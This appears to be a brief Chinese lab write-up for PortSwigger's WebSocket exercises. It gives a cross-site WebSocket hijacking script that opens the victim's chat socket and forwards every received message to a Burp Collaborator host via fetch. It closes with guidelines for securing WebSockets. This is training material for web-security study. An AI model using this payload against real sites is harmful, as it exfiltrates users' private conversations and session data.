实验环境在:https://portswigger.net/web-security/websockets
这里只记录一下每道题目的答案
image.png
进行CSRF
<script>
websocket = new WebSocket('wss://ac541f3a1f2f3ad980ddf176009500b6.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY");
}
function handleReply(event) {
fetch('https://b9lwx4lyr0kpl7vvw15k94zde4ku8j.burpcollaborator.net/?'+event.data, {mode: 'no-cors'})
}
</script>
如何保护WebSocket连接
为了最大程度地减少WebSocket引起的安全漏洞的风险,请使用以下准则:
- 使用wss://协议(基于TLS的WebSockets)。
- 硬编码WebSockets端点的URL,当然不要将用户可控制的数据合并到此URL中。
- 保护WebSocket握手消息免受CSRF的攻击,以避免跨站点WebSocket劫持漏洞。
- 双向将通过WebSocket接收的数据视为不可信。在服务器和客户端上安全地处理数据,以防止基于输入的漏洞,例如SQL注入和跨站点脚本。